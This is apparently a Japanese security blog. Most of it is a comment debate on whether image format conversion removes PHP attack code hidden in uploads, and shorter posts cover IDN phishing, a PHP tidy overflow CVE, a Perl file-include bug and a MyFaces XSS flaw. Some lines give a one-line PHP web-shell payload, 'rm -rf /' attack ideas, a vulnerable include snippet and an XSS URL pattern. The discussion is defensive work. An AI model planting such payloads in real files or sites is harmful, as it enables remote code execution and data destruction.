die('Attack detected');
}
また、preg_match() を使用したコードが不十分であるとのことですが、もう少し詳しく教えていただけませんでしょうか。
最近 PHP をあまり使っていないからかもしれませんが、常識になっているとは知りませんでした。
実際には、画像形式を変換して攻撃コードを排除する方法が安全なように思います。
> けならば、アップロードファイルの拡張子の制限や、Webサーバの設定だけでよいわけです(画像
> にJavaScriptコードを挿入される攻撃への対処は、別途必要ですが)。
画像ファイルにPHPコードが含まれているか?絶対にチェックしなければならないとは思いません。
しかし、自分のサイトだけ守れば問題なし、という考え方には賛成できません。ウィルスを含んだファイルを公開していても問題なしと言えないと思います。
画像処理ライブラリには度々脆弱性が見つかっています。対策済みのシステムでは画像が表示されないだけで済みますが、サイトの画像を表示しただけで未対策のシステムにスパイウェアがインストールされても問題ない、例えばFlickerを見ていたらスパイウェアがインストールされても気にしない、と思う方はいないと思います。
いづれにせよ画像ファイルの形式を変換して、その際のエラーをチェックすればほとんどの攻撃用のコードは無効化できると思います。
> 変換が「完全な対策」と言えるのでしょうか。変換によって、フォーマットが不正な画像は排除できる
> のでしょうが、変換後のファイルが攻撃コードを含まないことは、保証されないと思います。
例えば、GIFからPNGへ変換した場合、普通のライブラリはGIFのヘッダを解析、画像イメージをデコード、ビットマップイメージに近いデータを生成、新しい画像形式のヘッダを生成、画像データをエンコード、のような過程になっていると思います。
GIF、PNGはロスレス圧縮を利用していますがバイナリ部分は圧縮されているのでこの部分にデータがコードだとすると解凍に失敗します。ヘッダがおかしくても変換に失敗します。仮にフォーマットに大きなパディングがありそこにコードが埋め込める場合でも普通のコードであれば変換するとこの部分のコードも削除されるはずです。GDライブラリを利用している場合、GDネイティブのデータ形式に変換してからイメージを再生成すれば同じ効果を期待できます。ブログでは変換コマンドを利用しているアプリも考慮して別形式に変換、再生成する手順としてGIF、PNG、GIFと変換する手順を紹介しています。ビットマップ型のファイル形式同士だと形式を変換しても攻撃コードが削除できないライブラリがあるかも知れませんが確認していません。あったら是非教えてください。
JPEGのexif拡張を利用している場合、コマンドやライブラリによってはJPEGからJPEGに変換するとテキストデータをそのままコピーしてしまう可能性も高いのでJPEGの圧縮率を変更するだけでは、ここで記載している問題に対処できない可能性があるので注意が必要です。exifを使うと攻撃用のPHPコードをホスティングさせられる事を防ぐには”<?”を”< ?"とスペースを強制的に入れるなどの対策が必要です。
エンコーディングを利用した攻撃が可能なマルチバイト文字を取り扱っている場合、利用している正規表現関数とその設定に注意が必要です。これはよくあるマルチバイト文字を利用して特殊文字を無効化させる方法ですよね。マルチバイト文字を取り扱っている場合、正規表現でバイナリマッチを行うにはASCIIにしてからマッチさせないとならないです。このことを書いていないのは不親切・不十分と言えるので追加します。
mb_regex_encoding( "ASCII" );
> また、preg_match() を使用したコードが不十分であるとのことですが、もう少し詳しく教えていただけませんでしょうか。
正規表現関数は元々ライン志向の処理系です。ですからPCRE(preg_matchが利用しているPerl Compatible Regex Library)は行単位で処理します。意図した通りの動作をさせるにはMultilineモディファイア(m)か$をデータの末尾にマッチさせるDモディファイア(PHPのみのオプション)を使用しなければならないケースを紹介したかったのですが、例が悪かったです。
mb_eregi('<\\?php', $image) -> mb_ereg('^.*<\\?php.*$', $image)
preg_match('/<\\?php/im', $image) -> preg_match('/^.*<\\?php.*$/im', $image)
に修正しておきます。ありがとうございます。
蛇足ですが、デフォルトのmbregexは^->\A, $->\zへの書き換え、正確には\Zも\zと取り扱われます。(つまり「^.*hoge.*$」でデータ全体がマッチ対象となる)mbstringが書き換えるのではなくonigurumaのオプションが設定される。oniguruma内部で^,$の取り扱いが変わる、を行うオプションが有効になっているのでpreg_*と違う動作になります。設定はmb_regex_set_options()で取得・設定できます。デフォルトは"pr"で、シングルラインおよびマルチラインオプションを有効にしたRubyスタイルの正規表現になります。
正規表現は便利ですが微妙な動作の違いなどで困った事になったり、あまりよく考えていないとチェックできないケースを紹介しようとして今回のように間違った正規表現になってします... 最近はバリデーション用ばかり書いているので行に関連するメタ文字を使わないとデータ全体にマッチするの失念していました。最初は^$を書いていたのですが、長くて分かりづらいと思って消してしました。正規表現は簡単な物でもテストしないと... 特に半分寝ながら書いているときは...
ところでこの画像内のテキスト情報を使った場合に発生する脆弱性はexifのテキスト情報をWebで参照できるようにした場合にJavaScriptインジェクションを行う手法として紹介されたと思います。PHPの攻撃用コードをホスティングさせる方法として紹介された例や攻撃例は知りません。ここまでテキストにスクリプトが含まれているかチェックする必要があるか意見が分れるところだと思います。最新のPHP5系ならリモートスクリプトのインクルードはデフォルト無効に設定されているので、チェックなしで良しとするべきかも知れません。
GIFヘッダのGlobal Color Mapなどに攻撃コードを仕込む方法があります。そのようにして作られた画像は、画像形式として正当です。ですので、PHP(GD)でGIF→PNG→GIF変換しても変換エラーも出ず、攻撃コードが削除されることもありませんでした。
画像形式変換が、攻撃コードを削除することがあるとしても、それはたまたま削除されたくらいに思った方がよいと思います。形式変換は、攻撃コードを排除するために作られたものではないですから。
>しかし、自分のサイトだけ守れば問題なし、という考え方には賛成できません。ウィルスを含んだファイルを公開していても問題なしと言えないと思います。
脆弱性のある他のサイトまでは守る必要はなく、また多くの場合は守ることも出来ない、という意味で書きました(ウィルスの話は、リモートインクルードとは別の話で、長くなりそうなので、書くのは控えます)。
>exifを使うと攻撃用のPHPコードをホスティングさせられる事を防ぐには”<?”を”< ?"とスペースを強制的に入れるなどの対策が必要です。
テキスト部分以外にも <? は含まれる可能性があります(攻撃の意図の有無に関わらず)。10KBのランダムなバイナリファイルであれば、約15%の確率で <? が含まれます。画像ファイルを壊すのがこわいです。
>ところで<?や<%がスクリプト開始タグとして利用できる場合はこれらもチェックしなければなりません。
<script language="php">というパターンもありましたね。使っている人を見たことないですが。
なるほど。参考になります。Global Color MapとはGlobal Color Tableのことですね。そのまま渡されるようなデータ領域がある場合、バリデーションに使うには無理があるようですね。GDとモジュールのコードを時間があるときに読んでみます。元々バリデーション用に作られた物でなくても今ではバリデーションに使われている物は多くあります。GDがバリデーションに使えるようになると助かるのですが、もう開発が終わっているライブラリなので無理でしょうね。
GIFの定義では
19. Global Color Table.
a. Description. This block contains a color table, which is a sequence of
bytes representing red-green-blue color triplets. The Global Color Table
is used by images without a Local Color Table and by Plain Text
Extensions. Its presence is marked by the Global Color Table Flag being
set to 1 in the Logical Screen Descriptor; if present, it immediately
follows the Logical Screen Descriptor and contains a number of bytes
equal to
3 x 2^(Size of Global Color Table+1).
This block is OPTIONAL; at most one Global Color Table may be present
per Data Stream.
とあるので削除してしまうオプションを付ければ問題がなくなるのかな?しかし、GDもわざわざ(?)情報を保持してPNGまで持って行っているのですね。ざっとPNGの定義も見てみましたが、どこに保存されるのかいま一つ分かりませんでした。コードを見た方が早いかも知れません。
> <script language="php">というパターンもありましたね。使っている人を見たことないですが。
知ってはいますが私もよく忘れられるものです。このパターンはいつでも使えますからチェックするなら必須ですね... 元々イメージファイルのバリデーションに正規表現は無理があるので、PHP専用でなくもっと一般的に使えるバリデーション方法がないと困りますね。
> テキスト部分以外にも <? は含まれる可能性があります(攻撃の意図の有無に関わらず)。10KBのランダムなバイナリファイルであれば、約15%の確率で <? が含まれます。画像ファイルを壊すのがこわいです。
さすがにバイナリ部分に<?を探すのはちょっと無理がありますね... ショートタグは無効にして<?phpと<script language="php">を探さないとダメですね。GIFもPNGもいろいろテキストを入れることができるので、PHPの言語仕様的に他のサイトを守るのは難しい(攻撃の踏み台にされることを防ぐのは難しい)ですね。ただ、これらのテキスト情報はチェックする気になればできない事もないです。他のサイトの為でなくてもローカルインクルードバグに備えてチェックしておいても良いかも知れません。
# 攻撃目的以外で<?phpとか、<script>とか、exif, png等のテキ
# スト情報に入れるとは思えないので、検出したら「ファイル形式
# に問題があります」とエラーにしてしまっても良いと思います。
# XSSをブラックリストで完全に対処するのは無理なので、攻撃
# されかけた事を記録する為だけに検出すべきで、出力する場合
# は適切にエスケープしてから出力しなければならないです。
結局は自分が使っているグラフィックスライブラリの癖や一時的に変換するフォーマットなどで変換してもバリデーションできない場合がある、と言うことですね。こういう時は最も単純なBMPとかに変換して戻すと大丈夫かもしれません。ざっと仕様を見たところ、さすがにBMP形式はテキスト情報は無いようです。
と言う事でGIF->BMP->GIFを勧めることにします。いろいろ指摘頂いて助かります。この場合にも問題がある時には教えて頂けると助かります。
# 自分のコードもBMP経由に変更しないと
しかし、この方法はBBSのアバダ程度なら問題ないですがアルバムアプリで採用するにはかなり問題があります。普通のデジカメはexif情報を付けて保存していますが、これが全部なくなるとユーザは耐えられないでしょうね。圧縮率を微調整するとExif情報はそのままでバイナリデータ部分に含まれた攻撃用コードを除去できるかも知れません。
いづれにせよ「ちょっと書いてみる問題」を超えてきちんとリサーチしないとならない問題ですね... 毎度の事ですが気軽にさらっと書いたエントリに爆発的にアクセスがあったりするのでブログ書きは気が抜けない...
ググるとすぐに
http://hul.harvard.edu/jhove/
が見つかりました。GIF,JPEG,PDF,TIFF,UTF-8などのフォーマットに対応しているそうです。攻撃用コードの埋め込み対策にどの程度使えるものなのか調べてみる価値がありそうです。GIFのGlobal Color Tableを利用した攻撃は検出できないように思えます。JPEGが妥当なフォーマットかチェックするには十分使えるかも知れません。
BMP変換でも、攻撃コードは削除されないと思います。BMPでもColor Table相当のパレット情報を使っているので、普通に変換する場合は、GIF→BMP→GIFでそのままColor Table情報は引き継がれると思います。
ありがとうございます。後で調べてみます。(GIF→PNG→GIFでNGなケースも試す時間がない..)やはり、ソースコードとデータを照らし合わせて引き継がれるテキスト情報がどうなっているか確認する必要がありますね。GIF→PNG→GIF変換の場合、Global Color Tableのテキスト情報(攻撃コード)はそのまま変換後のGIFに残ってしまったようですが、どのようなファイルでテストしたかは想像できますが、テストに使ったファイルのURLかメールで送っていただけませんか? 思っている形式と違うファイルでチェックしても時間ばかり必要なのでお願いします。
まとめると画像ファイルをバリデーションする目的には
0.画像ファイルとして妥当なファイルであるかチェックする
1.スクリプト系言語の攻撃コードが含まれていないかチェックする
2.不正な画像ファイルにより画像ライブラリの脆弱性を攻撃するコードが含まれていないかチェックする
があると思います。
0.は拡張子、ファイルマジックをチェックした後、画像別の形式に変換してみて問題なければ概ね問題なしと考えられると思います。しかし、普通画像ファイルのデコーダは回復可能なエラーなら無視してデコードを続けるので変換ができるだけでは不正なデータが含まれている可能性は排除できません。
1.はどのレベルまでするか?は議論の余地がある部分ですが、圧縮をサポートする画像ファイルで0のチェックが終わっていれば、デコーダにより正しくデータがデコードできるれば少なくとも圧縮データ部分にはスクリプト系言語の攻撃コードは含まれないことが保障できます。(デコード後に攻撃コードが作れても意味がない。デコーダは致命的なエラー以外はエラーを無視するか警告するだけで処理を中止しないと考えてよいのでオーバーフロー攻撃は無いとはこの時点では言えない)
残りはテキスト系のデータですが、PHPやJavaScriptの場合、作者などのテキスト情報を攻撃コードとして利用可能です。この外にColor Table等をデータをテキスト形式で保存している画像ファイルの場合、これらもチェックするか削除する必要があります。
PHPのGDネイティブの画像形式の構造体を見ると特にテキスト情報を保持する要素が無い(pixelとアンチエイリアス以外は整数型)が無いのでどこか別の場所でテキスト情報を保持しているのでしょう。斜め読みしただけだとGDネイティブの形式すればテキスト情報は保存されないように見えます。テキスト情報が無いファイル形式に変換後に元に戻すとテキストは無くなっているのでスクリプト系言語の攻撃コードが無いことを保証できるようになります。
2. は普通のデコーダはエラーは無視するので攻撃コードが含まれていても変換してエラーが無いことを確認してもあまり意味がない。別形式に変換したデータを元に戻すことにより多くの攻撃コードは削除できると考えられるが画像ファイルのパラメータである整数値が妥当な範囲に変換されてるか、などはライブラリ次第なので完全な安全性保障はできない。ただし、そのままアップロードされたファイルをダウンロードさせるよりははるかに安全といえます。
画像ファイルの攻撃にはデコーダのバグを攻撃する方法が多いので、バグが無いデコーダでデコードしてエラーを除いたファイルを作ればかなり安全性が向上すると考えられます。ただし、利用しているデコードコードにバグが無いとも限らないのでより安全にバリデーションするには専用サーバを用意する方が良いです。
GDについてくるGDネイティブ形式のコードをざっと見た限りではこの形式でイメージを作くれば0から2の要件を満たすように見えます。
その画像をWindows環境のGIMPでGIF→BMP→GIF変換を掛けてみましたが、攻撃コードは消えませんでした。
Color Tableは、テキスト情報ではなく、バイナリ情報です。GIFは最大で255色まで使うことができますが、そのそれぞれの色を3Byte(RGBで1Byteずつ=1677万色)で表したもので、最大255*3=765Byteのサイズを持ちます。GIF、PNG、BMPも同じような情報を持っていて、画像データとしては欠かせない情報です。
#なお、GIFのGlobal Color TableがOPTIONALなのは、Local Color Tableで代用できるからだと思われます。Color Table自体は、画像を表現するために必要なものです。
Color Tableに仕込まれた攻撃コードは、意図的にColor Tableの並びをシャッフルするなどしないと無効化できません。通常の画像変換ソフトは、わざわざシャッフルするようなことはしないと思います。
Color Tableをシャッフルしても、それ以外のところに、巧妙な形で攻撃コード埋め込むことは可能でしょう。例えば、画像サイズはGIFではX方向=2Byte、Y方向=2Byteの合計4Byteで表現されますが、4Byteあれば「<?/*」のようなコードを埋め込むこともできます(16188 x 10799 というかなりデカイ画像になりますが)。
もちろん、サイズ以外の部分にも、例えば本体の画像データの部分に、圧縮後に「<?php」が現われるようなデータを作ることは、画像データ構造と圧縮アルゴリズムの知識が少しあれば可能でしょう。
結局のところ、画像形式としての妥当性を確認し、コメント部分などの付加的なテキスト情報を削除するだけでは、原理的にPHPコードの埋め込みを避けることはできないわけです。かといって、画像ファイル中に、「<?」「<?php」などのパターンを持つものを禁止する方法だと、攻撃の意図がない正常な画像が誤って排除される場合が出てきます。
最初の話に戻ると、PHPのリモートインクルードの脆弱性は、脆弱性のあるサイトで直すべきです。もしも、攻撃コードのホストを簡単かつ完全に防げるのであれば、ホストする側での対策を薦めるのは妥当だと思いますが、簡単で完全な方法はありません。
ですので、自身のサイトにリモートインクルードの脆弱性を持たないようにすることだけが、Webサイト開発者に必要なことだと思います(XSSの問題は置いておくと)。そのために開発者がすべきことは、アップロードされるファイルの拡張子を管理する(あるいは適宜サーバの設定をする)だけです。
GDのコードを斜め読みすると攻撃に利用できそうなデータはピクセルデータのみが受け渡されている部分までは確認しました。つまり、PNGの作者やJPEG, TIFFのexif, GIFのGlobal Color Table等のテキストデータは引き継いでいません。画像に含まれたテキストデータはプログラマが意図的に再現させなければ全て除去されます。(GIF規格によるとGlobal Color Tableはテキストデータとなっているのでそう仮定しています。実際にどう利用されているか理解するまでGIFに詳しく無いです)
バイナリのColor Tableの事は画像ファイルの基礎知識の一つなので知っています。以下になぜ私がバイナリのColor Tableが変換により攻撃に使えなくなる、と考えているか書きます。teracci2002さんには必要ないと思いますが、グラフィックス画像の知識がない方でも分かるように書きます。
攻撃コードを埋め込むの単純にテキストを埋め込むのは簡単です。例えば、2^24色のうち2^16色が使えるとしてこれを必要な色だけColor Tableに入れるとして簡単に2^16文字のテキストデータを埋め込むことがでます。これだけのコードを入れられれば有用な攻撃コードを埋め込むのは簡単です。
ファイル形式の変換による防御に対しても攻撃を行うには、ピクセルデータから攻撃コードを再生成できるようにピクセルデータを構成しなければなりません。これはteracci2002さんのコメントにも書いてありますが、これは非常に難しいです。まず各Color Tableの値は、2^24色なら3バイト、2^32色だとしても4バイトのアライメント単位でユニークになっていなければなりません。ユニークでないとピクセルデータからColor Tableを再生成する場合に攻撃コードが再生成さません。この制限からピクセルデータに長い攻撃用文字列を埋め込むのは現実的ではありません。
コメントに記載されているように非常に短い文字を再現させる、たとえば<? /*, <?php /*、であれば可能と考えていました。(Colorコードもユニークにできるので可能)この点に異論は無いです。もしカラーコードがユニークでなければならない制約の上で、有用な攻撃ができる程度のテキストを再現できてしまうのであればこの時点で変換による対策は完全でないといえます。
少し話がそれますが、ここまでで重要なことは画像形式に関わらず変換を行えば、PHP以外の言語なら攻撃は不可能になります。PHPのような特殊な仕様を持たない言語にとっては変換は完全な対策と言っても構わないでしょう。(PHPはもともと埋め込み型言語なのでスクリプトの開始に開始タグが必要だが、他の言語はスクリプト全体がコードであるため、最初のブログ本文にも記載していましたが、PHPの言語仕様が特殊なのでPHPは攻撃し易くなります)
これも既にコメントとして記載されている通り、PHPの場合、「<?php /*」等をColor Tableに再現させることにより、それ以後「*/」が現れるまでコードのコメントすることができます。Color Table以降のデータに有用な攻撃コードが書ければフォーマット変換によって「完全に防御できない」ことになります。
ここが意見の異なる部分ですが、GIF、PNGはデータ部分に圧縮をかけているのでデータ部分に有用な攻撃コードを再現させるのはまず不可能だと考えれると思います。まず、圧縮されたデータは言語として必要なトークン単位に分割されたテキストを再現できません。もしそのような事が意図的に可能な圧縮アルゴリズムだとするとかなり劣悪な圧縮アルゴリズムだと言えます。LZWもそこまで劣悪ではないと仮定しています。
このことから、GIF→他の形式→GIFのように変換を行えばPHPにとっても「完全な対策」と言っても差支えない程度の安全性が確保可能と考えています。(ブルートフォースでセッションID盗むことは論理的には可能かも知れませんが現実的には不可能と言う意味で「セッションIDによるセッション管理は安全である」とするのと同じような考え方です)
> 最初の話に戻ると、PHPのリモートインクルードの脆弱性は、脆弱性のあるサイトで直すべきです。もしも、攻撃コードのホストを簡単かつ完全に防げるのであれば、ホストする側での対策を薦めるのは妥当だと思いますが、簡単で完全な方法はありません。
この意見には大賛成です。「他のサイトを守る」と書いたのがいけなかったです。「攻撃の踏み台にされない」と書いておけば議論になるようなことは無かったと思います。
> 開発者がすべきことは、アップロードされるファイルの拡張子を管理する(あるいは適宜サーバの設定をする)だけです。
ここは賛成できません。フォーマット変換により、Webサーバのスクリプティング言語で記述された攻撃コードのみでなく、ウィルス付画像ファイル、JavaScript付き画像ファイルなども排除できるようになります。拡張子を管理するだけでは非常に簡単に踏み台として利用可能になります。ブランドを大切にする企業であれば自分のサイトを攻撃の踏み台にはされたくないはずです。
100歩譲ってフォーマット変換による対策が不十分なケースがいくつかあるとしても、変換という単純かつ簡単な方法で飛躍的にセキュリティが向上するのであれば利用すべきではないでしょうか。
GIFのGlobal Color Tableはテキストデータでは無いです。GIF規格にもテキストだというような記述は見当たりませんでした。
>この制限からピクセルデータに長い攻撃用文字列を埋め込むのは現実的ではありません。
攻撃コードは、<?php passthru($_POST['a']); ?> のようなもので十分じゃないですか?(お考えのものとは、毛色が異なるかもしれませんが)。
>もしそのような事が意図的に可能な圧縮アルゴリズムだとするとかなり劣悪な圧縮アルゴリズムだと言えます。
これは、圧縮効率の面で劣悪ということでしょうか?
>ここは賛成できません。フォーマット変換により、Webサーバのスクリプティング言語で記述された攻撃コードのみでなく、ウィルス付画像ファイル、JavaScript付き画像ファイルなども排除できるようになります。
>100歩譲ってフォーマット変換による対策が不十分なケースがいくつかあるとしても、変換という単純かつ簡単な方法で飛躍的にセキュリティが向上するのであれば利用すべきではないでしょうか。
そういうことを否定している訳ではないです。私が言っているのは、
1.リモートインクルードの攻撃コードのホストを防止する対策は必須のものではない
2.上記の対策においては、画像ファイルの形式変換は不十分だ
ということだけです。画像形式変換が、各種のセキュリティ対策として意味が無いとは思っていないです。
上記の2については、ご使用のグラフィックライブラリで、送付した画像の変換をしてみて頂くのが早いかと思います(お仕事の合間にでもお試しを)。
確かに必須としなくても良いとは思います。実際、私も特定多数のユーザが利用するサイト(業務で社員だけが利用するサイト)の場合、アップロードされたファイルの検証は不特定多数のユーザが利用するサイトよりもずいぶん甘い仕様する事が多いです。
> 2.上記の対策においては、画像ファイルの形式変換は不十分だ
自分でもカラーテーブルを使って有用な攻撃方法を考えてみました。sytem("rm -rf")などのDoSやphpinfo()だけ実行させるなどの比較的単純なものであれば、24ビットだと何も考えずに書くだけで再現できますね。画像の作り方も簡単です。防御する側は攻撃する側の立場になって考えるべきなのですが、それが足りなかったです。
> 上記の2については、ご使用のグラフィックライブラリで、送付した画像の変換をしてみて頂くのが早いかと思います(お仕事の合間にでもお試しを)。
確かLZWは行方向に圧縮するので単純なイメージを使えば簡単にエンコード後に文字を作る事が可能かも知れません。どのような攻撃コードになっているか楽しみです :)
ところで、不正なコードを画像から除去するほぼ(?)完全な対策は結構面倒になって(PHPの場合)
1. 拡張子とファイルマジックを確認する
2. 変換してエラーが無いか確認する
3. データをtokenizerで解析する
4. tokenの数を数えてPHPのトークンが3つ以上か判定し、3つ以上だとPHPコードを含むと仮判定する
5. lintモードでコードを実行しエラーがなければPHPの攻撃コードを含むと判定する
と言う感じになると思います。さらに攻撃を難しくするには画像にすかしを埋め込んで、ヘッダとデータ両方に含まれた攻撃コードを無効化する方法も考えられます。この方法でもどのように「すかし」を入れているか分かれば攻略方法も見つけられるかも知れませんが。
4.の「3つ以上でエラー」は「<?php phpinfo() >」は最小限のPHPコード(終了タグ意外に/*を使っても同じ)で3つのトークンが含まれているので3つ以上でPHPコードの可能性があるとしています。偶然PHPのトークンが3つ以上現れ、コードの妥当性をチェックもしているので、ほぼこれで十分でしょう。(追記:開始、終了、コメント、空白、文字列以外のトークンが1つ以上あるか?と言いった感じに判定にした方が精度が良いと思います)
PHP以外のケースを考えるとカラーテーブルにシェルコードを埋め込むなど、いろいろな攻撃方法が考えられます。デコード後のピクセルデータをコードやデータとして利用して攻撃する方法も考えられます。
全てのケースで完全な方法を考えるとなると無理があるので本文を「完全な対策」から「単純な攻撃コードを除去する簡単な対策」に変更しておきます。予想以上に画像ファイルの妥当性チェックには落とし穴があるので非常に参考になりました。
他のサイトの踏み台にされる可能性があるのはリモートからスクリプトがロードできるPHPとJavaScriptです。PHPは上記の方法でほぼ検出できると思います。残りは攻撃用のJavaScriptコードの検出ですがこれはが画像フォーマットも調べてどのように攻撃が可能か調査してからですね。
最近はいたずら目的の攻撃は減少傾向にありますが、例えば有名なアルバムサイトの画像に埋め込んだPHPコードを使って「rm -rf /」を実行させる、などのような攻撃が行われると被害は少数でも「○○サイトの画像を使ってサイトが攻撃させる」のような報道になると思います。愉快犯(もしくは○○サイトを狙った本当のサイバー攻撃?!)にはこれでも十分かと思います。
ところで、一般論として画像ファイルの拡張子だけのチェックだとチェックが甘すぎだと思います。拡張子、マジック、フォーマットのチェックくらいは必須条件として考えた方が良いと思います。拡張子チェックだけだと以前にWikiの脆弱性(データにダイレクトにアクセスできてしまう)が問題になったことがありますが、これと同じ脆弱性も持つことになります。
コメントを残す
日本語ドメインは覚えやすい、分かりやすい、そしてだましやすい
いくら個人ブログで「信頼するに足る会社は日本語ドメインを利用すべきはない」
http://blog.ohgaki.net/index.php/yohgaki/2007/04/03/xxxa_a_ia_ca_sa_aac
http://blog.ohgaki.net/index.php/yohgaki/2005/02/12/a_fe_a_a_a_ia_ca_sa_a_ra_a_pa_a_ma_sa_de
と書いても、そのうち日本語ドメインが氾濫するのでしょう...
お名前.comから送信されたメールに次のように書いてあります。
┏━━━━━━━━━━━━━━━━━━━━┓
┃日本語ドメインは覚えやすい! ┃
┗━━━━━━━━━━━━━━━━━━━━┛
長い名称やキャッチコピーをドメイン名にする際に、ローマ字ドメインに比べて日本語ドメインの場合、「覚えやすい」「入力しやすい」といったメリットがあります。
1.商品名・キャッチコピーで登録
http://お名前.com
http://ドメイン取るならお名前.com
日本語の名詞をドメインに利用するだけでも問題ですが、最悪なのはキャッチコピーをドメインに利用する場合です。
とフィッシャーが登録したらどうでしょうか? お名前.comそっくりのサイトにしてユーザ名とパスワードを盗んだ後、本当のサイトに接続させれば多くのユーザはIDが盗まれた事に気がつかないと思います。ドメイン登録情報の改ざんはサイトの価値に関わらずお金になりそうです...
信頼が重要な会社は、TLD、ccTLD以下のドメインには以下のようなルールを作るべきだと考えています。
- 国際化ドメイン(IDN)は使用しない
- 子会社などを"-"使用したドメインを使用しない
- キャンペーン用のドメインは作成しない
- 製品名でドメインは作成しない
- 広く認知されているドメインのサイトで利用しているドメインを全て記載する
などの対策が必要です。子会社、キャンペーン、商品・商標名で絶対にドメインを作ってはならないとまでは言いませんが、ほとんどの場合はサブドメインやURLのパスで十分でしょう。
顧客を大切にする会社はドメインを節約しましょう。使用するドメインが少ないほど、顧客がフィッシング詐欺被害に合う確率が減るはずです。
2 コメント
お客さんが設定しろと言うので、設定したんだけど、使い難いのは、うちの責任だと、無茶を言うし・・・・。
どこの事業者でも、同じだと思うんですけどねぇ・・・。
コメントを残す
tidy_parse_string() オーバーフロー
CVE-2007-3294にtidy_parse_string()オーバーフローが登録されています。
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-3294
に脆弱性情報のソースURLが記載されています。
http://www.milw0rm.com/exploits/4080
すぐに応用可能な実証コード付きです。Linuxだと影響が大きすぎると考えたのか、実証コードの作成者がWindows環境が得意なのか、Windows環境のコードになっています。
tidy_parse_string()の第二引数(動作設定用パラメータ)のオーバーフローを利用しているので専用サーバで運用しているユーザにはあまり重要な脆弱性ではありません。(普通のコードならローカルからしか攻撃できない)しかし、PHPの場合、共有ホスティング環境で運用すできでないアプリケーション(たとえばECアプリ)も多く利用されているので「Base score: 7.5 (High) 」とレーティングされても仕方ないところでしょう。
フィードバックはまだありません...
コメントを残す
Perlアプリ(YaBB)でローカルファイルインクルード
リンク: http://www.yabbforum.com/
PHPではリモートファイルインクルード脆弱性でよく知られている問題ですがなかなか無くならない問題です。探してみるとPerlアプリにも同類の脆弱性が結構見つかるかも知れません。(Perlの場合はローカルのファイルしかインクルードできませんが)
2007/6/19のfull-disclosureに「local File Include Vulnerabilities in YaBB <= 2.1(all version)」と題するメールが投稿されていました。PHPならリモートファイルインクルード脆弱性となる典型的なコードが紹介されていました。
---Sources/Subs.pl:1529---
if (-e "$langdir/$use_lang/$what_to_load.lng") {
require "$langdir/$use_lang/$what_to_load.lng";
}
---end---
Perlでもシステムのどこかに攻撃用のPerlコードを保存できれば任意のコードを実行できるようになります。YaBBは名前からも分かるようにBBSアプリなので攻撃用コードをアップロードするのは容易なのかも知れません。もしかして、この種の問題は知られているようで知られていない??
Googleで"Powered By YaBB"で検索すると日本語ページで16900、サイト全体で136万ページヒットしました。アバダや投稿がファイルとして保存されている場合、攻撃は簡単だと思います。(コードを見たことがないので予想です)
追記:
なぜ攻撃が簡単かというと -e によるチェックはヌルバイトインジェクションに脆弱だからです。基本的にファイルの先頭にperlコードを書き込んで保存できる個所があればどのようなファイル名であってもインクルードできます。-eはfile_exists()に書き換える必要がありますがPHPプログラマにとっては常識なはず(?)の動作です。
フィードバックはまだありません...
コメントを残す
Apache MyFaces Tomahawk JSF Framework Cross-Site Scripting
リンク: http://www.securiteam.com/unixfocus/5QP0M00LPS.html
6/12にApache MyFaces TomahawkにXSS脆弱性が修正されています。
Java Server Faces, JSF, is "a framework used to create server side GUI Web applications. It is comparable to the Java Struts framework. Apache MyFaces Tomahawk is an open source implementation of JSF. The Tomahawk version contains Apache extensions to the base specification". Remote exploitation of an input validation vulnerability in Apache Software Foundation's MyFaces Tomahawk JSF framework could allow an attacker to perform a cross-site scripting (XSS) attack.
autoscroll属性に設定された値がバリデーション、エスケープ処理無しにそのまま出力されている事が原因だそうです。1.1.6で修正されています。
http://www.vulnerable.tld/some_app.jsf?autoscroll=[javascript]
の様に簡単に攻撃出来てしまうので価値が高いサイト(JSFで作ってあるサイトの多くは攻撃対象となるようなサイトばかりと思いますが..)の場合は早めに対処した方が良いと思います。
JSFでサイトを作ると結構簡単にインタラクティブなサイトを作れますが、セキュリティの多くはフレームワーク任せになってしまいます。あまりMyFacesの脆弱性は聞きませんが見つかった場合の対処は最初から決めておかなければなりません。JSFを使って開発しているようなサイトの場合、セキュリティポリシーもしっかり定義してあるはずなので大丈夫だとは思いますが、動きが遅いところもあるので...
MyFaces Tomahawk 1.1.6 has been released. This is an important security related update that fixes a severe XSS (cross-site scripting) bug in the Tomahawk 1.1.5 release (CVE-2007-3101).
MyFacesのサイトでは「severe XSS bug」と記載されている様に非常に危険なバグです。
ところで、TomcatにもXSS脆弱性が公開されています。こちらは対策が無い状態ですがしばらくするとアップデートが公開されると思います。きちんとしたサイトがサンプルプログラムをインストールしていたりはしないと思いますが、アップデートが公開されるまでは管理者インターフェースのXSS脆弱性にはログアウトで対策するしか無いです。
フィードバックはまだありません...
コメントを残す
PHPセッションの問題修正
Stefanさんのブログに書いてあったので気がついたのですが
http://cvs.php.net/viewvc.cgi/php-src/ext/session/session.c?r1=1.417.2.8.2.35&r2=1.417.2.8.2.36
に結構面白いコミットがされています。CVS版なので正式リリースになるかは不明です。成り行きはがどうなるかは興味深いです。
MOPBで解説されていたセッションIDにインジェクションができる問題を修正しようとブラックリスティングで対応させようとしたようです。ブラックリスティングより暗号化した方が安全性と互換性を確保するのが簡単なのですがZend社の社員によるコミットだったのですがZend Platformとの互換性も維持できないパッチになっているようです。Stefanさんのブログを見るとかなり皮肉な書き方であることが分かります。このような文面になった背景にはZend社の社員により「PHP開発者に知らせず脆弱性を公開した」とあらぬ言いがかりを付けられためだと思います。
非常に古いPHPの場合、セッションIDには好みの文字列が設定できたのですが最近のPHPは
\r\n\t <>'\"\\
が不正な文字として登録されています。\r\nはヘッダスプリティング、<>'"\はXSSに明らかに利用できるので不正としても仕方ない文字ですが、
()@,;:[]?={}&%
も新たに不正な文字に加えられたました。:はZend Platformでも使っている文字だそうです。
備考: セッションIDに管理用の文字列を付け加えるのは珍しいことではありません。負荷分散や分散されたサーバ間でのデータ共有など様々な用途に管理用の文字列を付け加える場合があります。
暗号化による対処の方がシンプルかつ安全な対策だと思います...
ところで、単純にクッキーだけでセッションIDを使っている場合には問題は発生しません。つまりsession.use_trans_sid=0, session.use_only_cookies=1でPHPを使っていれば現在のPHPを使っていてもここで問題としている不具合には影響されません。
2 コメント
セキュリティとは関係無いと思いますが、、、
順次、様々な制限が付け加えられたのですが、私はPHPセッションモジュールは正しい場所で制限を行っていないと考えています。
